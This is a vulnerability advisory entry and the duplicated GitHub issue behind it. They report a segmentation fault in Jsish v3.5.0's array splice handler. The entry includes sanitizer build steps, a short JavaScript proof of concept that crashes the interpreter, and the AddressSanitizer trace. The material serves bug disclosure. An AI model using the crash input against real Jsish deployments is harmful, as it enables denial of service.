Jsish v3.5.0 was discovered to contain a SEGV vulnerability via jsi_ArraySpliceCmd at src/jsiArray.c. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:jsish:jsish:3.5.0:*:*:*:*:*:*:*
E97897F2-55BD-40DD-9F33-7980D892A505
OR
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
var myColors = new Array(99999);
var lastElement = myColors.push('yellow');
myColors.push('yellow');
var firstElement = myColors.shift();
myColors.splice('pink');
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js
/poc.js:5: error: invalid number
ASAN:DEADLYSIGNAL
=================================================================
==825==ERROR: AddressSanitizer: SEGV on unknown address 0x60c0000dc4f0 (pc 0x555a355a5e18 bp 0x7ffcd17c49b0 sp 0x7ffcd17c4960 T0)
==825==The signal is caused by a WRITE memory access.
    #0 0x555a355a5e17 in jsi_ArraySpliceCmd src/jsiArray.c:1172
    #1 0x555a35574818 in jsi_FuncCallSub src/jsiProto.c:244
    #2 0x555a3583e71a in jsiFunctionSubCall src/jsiEval.c:796
    #3 0x555a3583e71a in jsiEvalFunction src/jsiEval.c:837
    #4 0x555a3583e71a in jsiEvalCodeSub src/jsiEval.c:1264
    #5 0x555a3585215e in jsi_evalcode src/jsiEval.c:2204
    #6 0x555a35856274 in jsi_evalStrFile src/jsiEval.c:2665
    #7 0x555a3554566a in Jsi_Main src/jsiInterp.c:936
    #8 0x555a35d4a03a in jsi_main src/main.c:47
    #9 0x7fb00f1a5bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #10 0x555a354d9969 in _start (/usr/local/bin/jsish+0xe8969)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/jsiArray.c:1172 in jsi_ArraySpliceCmd

```
Credits: Found by OWL337 team.
SEGV src/jsiArray.c:1172 in jsi_ArraySpliceCmd
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : SEGV src/jsiArray.c:1172 in jsi_ArraySpliceCmd
Issue date:

--- start body ---
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
var myColors = new Array(99999);
var lastElement = myColors.push('yellow');
myColors.push('yellow');
var firstElement = myColors.shift();
myColors.splice('pink');
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js
/poc.js:5: error: invalid number
ASAN:DEADLYSIGNAL
=================================================================
==825==ERROR: AddressSanitizer: SEGV on unknown address 0x60c0000dc4f0 (pc 0x555a355a5e18 bp 0x7ffcd17c49b0 sp 0x7ffcd17c4960 T0)
==825==The signal is caused by a WRITE memory access.
    #0 0x555a355a5e17 in jsi_ArraySpliceCmd src/jsiArray.c:1172
    #1 0x555a35574818 in jsi_FuncCallSub src/jsiProto.c:244
    #2 0x555a3583e71a in jsiFunctionSubCall src/jsiEval.c:796
    #3 0x555a3583e71a in jsiEvalFunction src/jsiEval.c:837
    #4 0x555a3583e71a in jsiEvalCodeSub src/jsiEval.c:1264
    #5 0x555a3585215e in jsi_evalcode src/jsiEval.c:2204
    #6 0x555a35856274 in jsi_evalStrFile src/jsiEval.c:2665
    #7 0x555a3554566a in Jsi_Main src/jsiInterp.c:936
    #8 0x555a35d4a03a in jsi_main src/main.c:47
    #9 0x7fb00f1a5bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #10 0x555a354d9969 in _start (/usr/local/bin/jsish+0xe8969)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/jsiArray.c:1172 in jsi_ArraySpliceCmd

```
Credits: Found by OWL337 team.
--- end body ---

comments :
--- start comments ---

--- end comments ---